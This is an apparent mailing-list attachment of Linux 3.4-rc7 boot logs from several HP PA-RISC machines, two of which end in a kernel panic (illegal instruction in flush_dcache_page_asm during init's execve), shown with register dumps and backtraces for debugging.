Backtrace:
 [<10119d14>] dump_stack+0x1c/0x2c
 [<1017d4ec>] backtrace_regression_test+0x44/0x124
 [<10117f48>] do_one_initcall+0x258/0x2b8
 [<1078a208>] kernel_init+0x184/0x214
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a backtrace from irq context.
The following trace is a kernel self test and not a bug!
Backtrace:
 [<10119d14>] dump_stack+0x1c/0x2c
 [<1017d488>] backtrace_test_irq_callback+0x18/0x38
 [<101399d0>] tasklet_action+0x78/0xdc
 [<10139f64>] __do_softirq+0x130/0x17c
 [<1013a020>] run_ksoftirqd+0x70/0x124
 [<10151484>] kthread+0xac/0xb4
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a saved backtrace.
The following trace is a kernel self test and not a bug!
 [<10123624>] save_stack_trace+0x28/0x60
 [<1017d598>] backtrace_regression_test+0xf0/0x124
 [<10117f48>] do_one_initcall+0x258/0x2b8
 [<1078a208>] kernel_init+0x184/0x214
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24
 [<ffffffff>] 0xffffffff
====[ end of backtrace testing ]====
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
msgmni has been set to 302
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
start plist test
end plist test
EISA EEPROM at 0x00810400
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9a
    id 2b4ded6d-40a00499, conforms to spec rev. 8.04
    graphics card name: HPA208LC1024
sticon: Initializing STI text console.
Console: switching to colour STI console 128x48
Console: switching to colour frame buffer device 128x48
fb0: stifb 1024x768-8 frame buffer device, HPA208LC1024, id: 2b4ded6d, mmio: 0xf8100000
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
2:0:4: ttyS0 at MMIO 0xf0105800 (irq = 18) is a 16550A
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
5:0:2: ttyS1 at MMIO 0xf0202800 (irq = 25) is a 16550A
Linux agpgart interface v0.103
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 19 [PCSPP,TRISTATE]
parport0: fix this legacy no-device port driver!
brd: module loaded
loop: module loaded
Uniform Multi-Platform E-IDE driver
ide-gd driver 1.18
ide-cd driver 5.00
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
scsi 0:0:6:0: Direct-Access     QUANTUM  FIREBALL_TM3200S 300X PQ: 0 ANSI: 2
scsi target0:0:6: Beginning Domain Validation
scsi 0:0:6:0: Enabling Tag Command Queuing
scsi target0:0:6: asynchronous
scsi target0:0:6: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 8)
scsi target0:0:6: Domain Validation skipping write tests
scsi target0:0:6: Ending Domain Validation
st: Version 20101219, fixed bufsize 32768, s/g segs 256
sd 0:0:6:0: Attached scsi generic sg0 type 0
sd 0:0:6:0: [sda] 6281856 512-byte logical blocks: (3.21 GB/2.99 GiB)
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xf0107000, IRQ 17
eth0: 82596 at 0xf0107000, 08:00:09:c2:9e:60 IRQ 17.
sd 0:0:6:0: [sda] Write Protect is off
sd 0:0:6:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
uhci_hcd: USB Universal Host Controller Interface driver
serio: gsc-ps2-keyboard port at 0x0081a000 irq 22 @ 2:0:11
serio: gsc-ps2-mouse port at 0x0081c100 irq 22 @ 2:0:12
mousedev: PS/2 mouse device common for all mice
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid10 personality registered for level 10
md: raid6 personality registered for level 6
md: raid5 personality registered for level 5
md: raid4 personality registered for level 4
device-mapper: uevent: version 1.0.3
 sda: sda1 sda2 sda3 < sda5 sda6 >
device-mapper: ioctl: 4.22.0-ioctl (2011-10-19) initialised: dm-devel@redhat.com
sd 0:0:6:0: [sda] Attached SCSI disk
usbcore: registered new interface driver usbhid
usbhid: USB HID core driver
oprofile: using timer interrupt.
TCP: cubic registered
NET: Registered protocol family 17
rtc-generic rtc-generic: setting system clock to 1970-01-04 01:59:05 UTC (266345)
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 192.168.178.64
IP-Config: Complete:
     device=eth0, addr=192.168.178.64, mask=255.255.255.0, gw=192.168.178.1
     host=pa64, domain=box, nis-domain=(none)
     bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
md: Waiting for all devices to be available before autodetect
md: If you don't use raid, use raid=noautodetect
md: Autodetecting RAID arrays.
md: Scanned 0 and added 0 devices.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sda5): mounted filesystem with writeback data mode
VFS: Mounted root (ext3 filesystem) readonly on device 8:5.
Freeing unused kernel memory: 320k freed
      _______________________________                                                                                                                                                                                                        
     < Your System ate a SPARC! Gah! >                                                                                                                                                                                                       
      -------------------------------                                                                                                                                                                                                        
             \   ^__^                                                                                                                                                                                                                        
                 (__)\       )\/\                                                                                                                                                                                                            
                  U  ||----w |                                                                                                                                                                                                               
                     ||     ||                                                                                                                                                                                                               
swapper (pid 1): Illegal instruction (code 8)                                                                                                                                                                                                
                                                                                                                                                                                                                                             
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                                                                                                                                                                                        
PSW: 00000000000000000000000000000000 Not tainted                                                                                                                                                                                            
r00-03  00000000 00000001 101bc460 19c246c0                                                                                                                                                                                                  
r04-07  00000017 19e6a5f8 19c22db8 ffeffff1                                                                                                                                                                                                  
r08-11  0f2ff000 0f000000 00000033 fff00ff1                                                                                                                                                                                                  
r12-15  00000000 00000017 00000001 00000000                                                                                                                                                                                                  
r16-19  00000000 00000043 00000000 107e9a80                                                                                                                                                                                                  
r20-23  19c245c8 10957000 00000001 00000001                                                                                                                                                                                                  
r24-27  00000000 00000000 0000fa80 106e2020                                                                                                                                                                                                  
r28-31  0f2ff000 000094b9 19c24740 00009271                                                                                                                                                                                                  
sr00-03  00000000 00000001 00000000 00000000                                                                                                                                                                                                 
sr04-07  00000000 00000000 00000000 00000000                                                                                                                                                                                                 
                                                                                                                                                                                                                                             
IASQ: 00000000 00000000 IAOQ: 10101110 10101114                                                                                                                                                                                              
 IIR: 078112a0    ISR: 00000000  IOR: 0f2ff000                                                                                                                                                                                               
 CPU:        0   CR30: 19c24000 CR31: f00effff                                                                                                                                                                                               
 ORIG_R28: 19e84ffc                                                                                                                                                                                                                          
 IAOQ[0]: flush_dcache_page_asm+0x28/0x7c                                                                                                                                                                                                    
 IAOQ[1]: flush_dcache_page_asm+0x2c/0x7c                                                                                                                                                                                                    
 RP(r2): __get_user_pages+0x38c/0x3c4                                                                                                                                                                                                        
Backtrace:                                                                                                                                                                                                                                   
 [<101bc460>] __get_user_pages+0x38c/0x3c4                                                                                                                                                                                                   
 [<101bc580>] get_user_pages+0x50/0x60                                                                                                                                                                                                       
 [<101e1a1c>] get_arg_page+0x64/0xe8                                                                                                                                                                                                         
 [<101e1bac>] copy_strings+0x10c/0x248                                                                                                                                                                                                       
 [<101e1d10>] copy_strings_kernel+0x28/0x44                                                                                                                                                                                                  
 [<101e360c>] do_execve+0x2a0/0x36c                                                                                                                                                                                                          
 [<10120598>] sys_execve+0x44/0x7c                                                                                                                                                                                                           
 [<10104084>] __execve+0x20/0x34                                                                                                                                                                                                             
 [<10133d2c>] vprintk+0x1d8/0x4f4                                                                                                                                                                                                            
 [<10134078>] printk+0x30/0x40                                                                                                                                                                                                               
 [<10118550>] free_initmem+0x154/0x184                                                                                                                                                                                                       
 [<10117cbc>] init_post+0xa0/0xd4                                                                                                                                                                                                            
 [<1078a294>] kernel_init+0x210/0x214                                                                                                                                                                                                        
                                                                                                                                                                                                                                             
Backtrace:                                                                                                                                                                                                                                   
 [<10119d14>] dump_stack+0x1c/0x2c                                                                                                                                                                                                           
 [<1011a290>] die_if_kernel+0xc0/0x1c0                                                                                                                                                                                                       
 [<1011a988>] handle_interruption+0x324/0x6c4                                                                                                                                                                                                
 [<10105078>] intr_check_sig+0x0/0x34                                                                                                                                                                                                        
 [<101d78e0>] mem_cgroup_charge_common+0x50/0x6c                                                                                                                                                                                             
                                                                                                                                                                                                                                             
---[ end trace 47c58df5faf7bacb ]---                                                                                                                                                                                                         
Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000bCommand line for kernel: 'HOME=/ root=/dev/sda5 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux'

--------------070101010100020709070002
Content-Type: text/plain;
 name="b160L.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="b160L.log"

Command line for kernel: 'HOME=/ root=/dev/sda5 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 32-bit kernelELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 6549504 mediaptr 0x1000
Segment 1 load 00788000 size 176308 mediaptr 0x640000
Segment 2 load 007b4000 size 144916 mediaptr 0x66c000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Initializing cgroup subsys cpuset
Initializing cgroup subsys cpu
Linux version 3.4.0-rc7-32bit+ (deller@p100) (gcc version 4.6.4 20120514 (prerelease) (GCC) ) #1 Mon May 14 23:10:09 CEST 2012
unwind_init: start = 0x10690000, end = 0x106d5190, entries = 17689
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005020 00000481 00000000 02020202 7794d7fe 100000f0 00000004 000000ba 000000ba
vers  00000008
CPUID vers 15 rev 8 (0x000001e8)
capabilities 0x2
model 9000/778/B160L
ic_size 10000 dc_size 10000 it_size 60
DC  base 0x0 stride 0x20 count 0x400 loop 0x2
dc_conf = 0x41402000  alias 4 blk 1 line 2 shift 0
        wt 0 sh 0 cst 1 hv 0
IC  base 0x0 stride 0x20 count 0x400 loop 0x2
ic_conf = 0x41402000  alias 4 blk 1 line 2 shift 0
        wt 0 sh 0 cst 1 hv 0
D-TLB conf: sh 3 page 1 cst 1 aid 0 pad1 0
I-TLB conf: sh 3 page 1 cst 1 aid 0 pad1 0
Total Memory: 128 MB
LED display at f0190001 registered
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 32512
Kernel command line: HOME=/ root=/dev/sda5 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 512 (order: -1, 2048 bytes)
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
allocated 262144 bytes of page_cgroup
please try 'cgroup_disable=memory' option if you don't want memory cgroups
Memory: 122460k/131072k available (4405k kernel code, 8612k reserved, 1968k data, 320k init)
virtual kernel memory layout:
    vmalloc : 0x00810000 - 0x0f000000   ( 231 MB)
    memory  : 0x10000000 - 0x18000000   ( 128 MB)
      .init : 0x10788000 - 0x107d8000   ( 320 kB)
      .data : 0x1054d6c4 - 0x10739770   (1968 kB)
      .text : 0x10100000 - 0x1054d6c4   (4405 kB)
NR_IRQS:96
Console: colour dummy device 128x48
Calibrating delay loop... 106.39 BogoMIPS (lpj=531968)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 512
Initializing cgroup subsys cpuacct
Initializing cgroup subsys memory
Initializing cgroup subsys devices
Initializing cgroup subsys freezer
Initializing cgroup subsys blkio
xor: measuring software checksum speed
   8regs     :   130.800 MB/sec
   8regs_prefetch:   130.800 MB/sec
   32regs    :   198.400 MB/sec
   32regs_prefetch:   198.400 MB/sec
xor: using function: 32regs_prefetch (198.400 MB/sec)
atomic64 test passed
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Phantom PseudoBC GSC+ Port at 0xffc00000 [8] { 7, 0x0, 0x504, 0x00000 }
2. Dino PCI Bridge at 0xfff80000 [8/0] { 13, 0x3, 0x680, 0x0000a }
3. Merlin+ 132 Dino RS-232 at 0xfff83000 [8/0/63] { 10, 0x0, 0x022, 0x0008c }
4. Merlin 160 Core FW-SCSI at 0xfff8c000 [8/12] { 4, 0x0, 0x03d, 0x00089 }
5. Merlin 160 Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x03d, 0x00081 }, additional addresses: 0xffd0c000 0xffc00000 
6. Merlin 160 Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x03d, 0x0008c }
7. Merlin 160 Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x03d, 0x00082 }
8. Merlin 160 Core LAN (802.3) at 0xffd07000 [8/16/6] { 10, 0x0, 0x03d, 0x0008a }
9. Merlin 160 Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x03d, 0x00074 }, additional addresses: 0xffd01000 0xffd03000 
10. Merlin 160 Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x03d, 0x0007b }
11. Merlin 160 Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x03d, 0x00084 }
12. Merlin 160 Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x03d, 0x00084 }
13. Coral SGC Graphics at 0xfa000000 [8/4] { 10, 0x0, 0x004, 0x00077 }
14. Coral SGC Graphics at 0xf4000000 [8/8] { 10, 0x0, 0x004, 0x00077 }
15. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 0x00085 }, additional addresses: 0xf0011000 
16. Merlin L2 160 (9000/778/B160L) at 0xfffbe000 [62] { 0, 0x0, 0x502, 0x00004 }
17. Memory at 0xfffbf000 [63] { 1, 0x0, 0x067, 0x00009 }
18. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096 }
CPU(s): 1 x PA7300LC (PCX-L2) at 160.000000 MHz
Setting cache flush threshold to 8a0 (1 CPUs online)
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xfff80000
Dino: No PCI devices enabled.
dino 8:0: PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
powersw: Soft power switch at 0xf0140000 enabled.
bio: create slab <bio-0> at 0
raid6: int32x1     60 MB/s
raid6: int32x2     71 MB/s
raid6: int32x4     85 MB/s
raid6: int32x8     61 MB/s
raid6: using algorithm int32x4 (85 MB/s)
vgaarb: loaded
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switching to clocksource cr16
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 4096 (order: 3, 32768 bytes)
TCP bind hash table entries: 4096 (order: 4, 81920 bytes)
TCP: Hash tables configured (established 4096 bind 4096)
TCP: reno registered
UDP hash table entries: 128 (order: 0, 6144 bytes)
UDP-Lite hash table entries: 128 (order: 0, 6144 bytes)
NET: Registered protocol family 1
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
Enabling PDC chassis warnings support v0.05
Initializing RT-Tester: OK
====[ backtrace testing ]===========
Testing a backtrace from process context.
The following trace is a kernel self test and not a bug!
Backtrace:
 [<10119d14>] dump_stack+0x1c/0x2c
 [<1017d4ec>] backtrace_regression_test+0x44/0x124
 [<10117f48>] do_one_initcall+0x258/0x2b8
 [<1078a208>] kernel_init+0x184/0x214
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a backtrace from irq context.
The following trace is a kernel self test and not a bug!
Backtrace:
 [<10119d14>] dump_stack+0x1c/0x2c
 [<1017d488>] backtrace_test_irq_callback+0x18/0x38
 [<101399d0>] tasklet_action+0x78/0xdc
 [<10139f64>] __do_softirq+0x130/0x17c
 [<1013a020>] run_ksoftirqd+0x70/0x124
 [<10151484>] kthread+0xac/0xb4
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a saved backtrace.
The following trace is a kernel self test and not a bug!
 [<10123624>] save_stack_trace+0x28/0x60
 [<1017d598>] backtrace_regression_test+0xf0/0x124
 [<10117f48>] do_one_initcall+0x258/0x2b8
 [<1078a208>] kernel_init+0x184/0x214
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24
 [<ffffffff>] 0xffffffff
====[ end of backtrace testing ]====
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
msgmni has been set to 239
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
start plist test
end plist test
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9a
    id 2bcb015a-9a02587, conforms to spec rev. 8.04
    graphics card name: HPA4071B
    id 2d08c0a7-9a02587, conforms to spec rev. 8.07
    graphics card name: HPA4450AX1024
    id 2d08c0a7-9a02587, conforms to spec rev. 8.07
    graphics card name: INTERNAL_EG_X1024
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, HPA4071B, id: 2bcb015a, mmio: 0xfa100000
fb1: stifb 1024x768-8 frame buffer device, HPA4450AX1024, id: 2d08c0a7, mmio: 0xf4100000
fb2: stifb 1024x768-8 frame buffer device, INTERNAL_EG_X1024, id: 2d08c0a7, mmio: 0xf8100000
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
8:16:4: ttyS0 at MMIO 0xffd05800 (irq = 16) is a 16550A
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
8:0:63: ttyS1 at MMIO 0xfff83800 (irq = 22) is a 16550A
Linux agpgart interface v0.103
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 19 [PCSPP,TRISTATE]
parport0: fix this legacy no-device port driver!
brd: module loaded
loop: module loaded
Uniform Multi-Platform E-IDE driver
ide-gd driver 1.18
ide-cd driver 5.00
zalon_probe: Zalon version 1, IRQ 67
ncr53c720-0: rev 0xf irq 67
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3g
scsi 0:0:6:0: Direct-Access     SEAGATE  ST32171W         HP03 PQ: 0 ANSI: 2
scsi target0:0:6: Beginning Domain Validation
scsi target0:0:6: asynchronous
scsi target0:0:6: wide asynchronous
scsi target0:0:6: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
scsi target0:0:6: Domain Validation skipping write tests
scsi target0:0:6: Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
scsi 1:0:1:0: CD-ROM            PHILIPS  PCA80SC          V3-0 PQ: 0 ANSI: 2
scsi target1:0:1: Beginning Domain Validation
scsi target1:0:1: asynchronous
scsi target1:0:1: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 8)
scsi target1:0:1: Domain Validation skipping write tests
scsi target1:0:1: Ending Domain Validation
st: Version 20101219, fixed bufsize 32768, s/g segs 256
sd 0:0:6:0: [sda] 4194685 512-byte logical blocks: (2.14 GB/2.00 GiB)
sd 0:0:6:0: [sda] Write Protect is off
sr0: scsi-1 drive
cdrom: Uniform CD-ROM driver Revision: 3.20
sd 0:0:6:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
sd 0:0:6:0: Attached scsi generic sg0 type 0
sr 1:0:1:0: Attached scsi generic sg1 type 5
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xffd07000, IRQ 18
eth0: 82596 at 0xffd07000, 08:00:09:ef:34:f5 IRQ 18.
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
uhci_hcd: USB Universal Host Controller Interface driver
serio: gsc-ps2-keyboard port at 0x0081a000 irq 21 @ 8:16:7
serio: gsc-ps2-mouse port at 0x0081c100 irq 21 @ 8:16:8
 sda: sda1 sda2 sda3 < sda5 sda6 >
mousedev: PS/2 mouse device common for all mice
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid10 personality registered for level 10
md: raid6 personality registered for level 6
md: raid5 personality registered for level 5
md: raid4 personality registered for level 4
device-mapper: uevent: version 1.0.3
sd 0:0:6:0: [sda] Attached SCSI disk
device-mapper: ioctl: 4.22.0-ioctl (2011-10-19) initialised: dm-devel@redhat.com
usbcore: registered new interface driver usbhid
usbhid: USB HID core driver
oprofile: using timer interrupt.
TCP: cubic registered
NET: Registered protocol family 17
rtc-generic rtc-generic: setting system clock to 1987-04-14 10:58:29 UTC (545396309)
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 192.168.178.65
IP-Config: Complete:
     device=eth0, addr=192.168.178.65, mask=255.255.255.0, gw=192.168.178.1
     host=b160, domain=box, nis-domain=(none)
     bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
md: Waiting for all devices to be available before autodetect
md: If you don't use raid, use raid=noautodetect
md: Autodetecting RAID arrays.
md: Scanned 0 and added 0 devices.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sda5): mounted filesystem with writeback data mode
VFS: Mounted root (ext3 filesystem) readonly on device 8:5.
Freeing unused kernel memory: 320k freed
      _______________________________ 
     < Your System ate a SPARC! Gah! >
      ------------------------------- 
             \   ^__^
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
swapper (pid 1): Illegal instruction (code 8)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000000000000000000000000 Not tainted
r00-03  00000000 00000001 101bc460 17c246c0
r04-07  00000017 17eaa5f8 17c22db8 ffeffff1
r08-11  0f2ff000 0f000000 00000033 fff00ff1
r12-15  00000000 00000017 00000001 00000000
r16-19  00000000 00000043 00000000 107e8a80
r20-23  17c245c8 108fc000 00000001 00000001
r24-27  00000000 00000000 0000fa80 106e2020
r28-31  0f2ff000 000074ee 17c24740 000072e6
sr00-03  00000000 00000001 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10101110 10101114
 IIR: 078112a0    ISR: 00000000  IOR: 0f2ff000
 CPU:        0   CR30: 17c24000 CR31: f0102978
 ORIG_R28: 17ec4ffc
 IAOQ[0]: flush_dcache_page_asm+0x28/0x7c
 IAOQ[1]: flush_dcache_page_asm+0x2c/0x7c
 RP(r2): __get_user_pages+0x38c/0x3c4
Backtrace:
 [<101bc460>] __get_user_pages+0x38c/0x3c4
 [<101bc580>] get_user_pages+0x50/0x60
 [<101e1a1c>] get_arg_page+0x64/0xe8
 [<101e1bac>] copy_strings+0x10c/0x248
 [<101e1d10>] copy_strings_kernel+0x28/0x44
 [<101e360c>] do_execve+0x2a0/0x36c
 [<10120598>] sys_execve+0x44/0x7c
 [<10104084>] __execve+0x20/0x34
 [<10133d2c>] vprintk+0x1d8/0x4f4
 [<10134078>] printk+0x30/0x40
 [<10118550>] free_initmem+0x154/0x184
 [<10117cbc>] init_post+0xa0/0xd4
 [<1078a294>] kernel_init+0x210/0x214

Backtrace:
 [<10119d14>] dump_stack+0x1c/0x2c
 [<1011a290>] die_if_kernel+0xc0/0x1c0
 [<1011a988>] handle_interruption+0x324/0x6c4
 [<10105078>] intr_check_sig+0x0/0x34
 [<101d78e0>] mem_cgroup_charge_common+0x50/0x6c
 [<101bc440>] __get_user_pages+0x36c/0x3c4
 [<101bc580>] get_user_pages+0x50/0x60
 [<101e1a1c>] get_arg_page+0x64/0xe8
 [<101e1bac>] copy_strings+0x10c/0x248
 [<101e1d10>] copy_strings_kernel+0x28/0x44
 [<101e360c>] do_execve+0x2a0/0x36c
 [<10120598>] sys_execve+0x44/0x7c
 [<10104084>] __execve+0x20/0x34
 [<10133d2c>] vprintk+0x1d8/0x4f4
 [<10134078>] printk+0x30/0x40
 [<10118550>] free_initmem+0x154/0x184

---[ end trace 3da5cee95bb8512d ]---
Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b


--------------070101010100020709070002
Content-Type: text/plain;
 name="c3000.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="c3000.log"

Command line for kernel: 'HOME=/ root=/dev/sda3 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... 
This box can boot either 32 or 64-bit kernels...Only see a 32-bit kernel, using thatELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 6549504 mediaptr 0x1000
Segment 1 load 00788000 size 176308 mediaptr 0x640000
Segment 2 load 007b4000 size 144916 mediaptr 0x66c000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Initializing cgroup subsys cpuset
Initializing cgroup subsys cpu
Linux version 3.4.0-rc7-32bit+ (deller@p100) (gcc version 4.6.4 20120514 (prerelease) (GCC) ) #1 Mon May 14 23:10:09 CEST 2012
unwind_init: start = 0x10690000, end = 0x106d5190, entries = 17689
FP[0] enabled: Rev 1 Model 19
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005dc0 00000481 00000000 00000002 777c3e84 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 19 rev 11 (0x0000026b)
capabilities 0x7
model 9000/785/C3700
ic_size c0000 dc_size 180000 it_size f0
DC  base 0x0 stride 0x40 count 0x6000 loop 0x1
dc_conf = 0xb1802000  alias 11 blk 1 line 4 shift 0
        wt 0 sh 0 cst 1 hv 0
IC  base 0x20000 stride 0x40 count 0xc00 loop 0x1
ic_conf = 0x91802000  alias 9 blk 1 line 4 shift 0
        wt 0 sh 0 cst 1 hv 0
D-TLB conf: sh 3 page 1 cst 1 aid 0 pad1 0
I-TLB conf: sh 3 page 1 cst 1 aid 3 pad1 0
Total Memory: 2048 MB
LCD display at f05d0008,f05d0000 registered
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 520192
Kernel command line: HOME=/ root=/dev/sda3 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 2, 16384 bytes)
Dentry cache hash table entries: 262144 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 131072 (order: 7, 524288 bytes)
allocated 4194304 bytes of page_cgroup
please try 'cgroup_disable=memory' option if you don't want memory cgroups
Memory: 2065892k/2097152k available (4405k kernel code, 31260k reserved, 1968k data, 320k init)
virtual kernel memory layout:
    vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
    memory  : 0x10000000 - 0x90000000   (2048 MB)
      .init : 0x10788000 - 0x107d8000   ( 320 kB)
      .data : 0x1054d6c4 - 0x10739770   (1968 kB)
      .text : 0x10100000 - 0x1054d6c4   (4405 kB)
NR_IRQS:96
Console: colour dummy device 128x48
Calibrating delay loop... 1495.85 BogoMIPS (lpj=7479296)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 512
Initializing cgroup subsys cpuacct
Initializing cgroup subsys memory
Initializing cgroup subsys devices
Initializing cgroup subsys freezer
Initializing cgroup subsys blkio
xor: measuring software checksum speed
   8regs     :  1749.200 MB/sec
   8regs_prefetch:  1727.600 MB/sec
   32regs    :  1446.400 MB/sec
   32regs_prefetch:  1436.800 MB/sec
xor: using function: 8regs (1749.200 MB/sec)
atomic64 test passed
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Allegro W2 at 0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
7. Memory at 0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Setting cache flush threshold to 8a0 (1 CPUs online)
SBA found Astro 2.1 at 0xfed00000
Elroy version TR4.0 (0x5) found at 0xfed30000
LBA 10:0: PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
pci_bus 0000:00: root bus resource [mem 0xf2000000-0xf23fffff]
PCI: Enabled native mode for NS87415 (pif=0x8f)
Elroy version TR4.0 (0x5) found at 0xfed32000
LBA 10:1: PCI host bridge to bus 0000:01
pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
pci_bus 0000:01: root bus resource [mem 0xf6000000-0xf6ffffff]
pci_bus 0000:01: root bus resource [mem 0xf2400000-0xf27fffff]
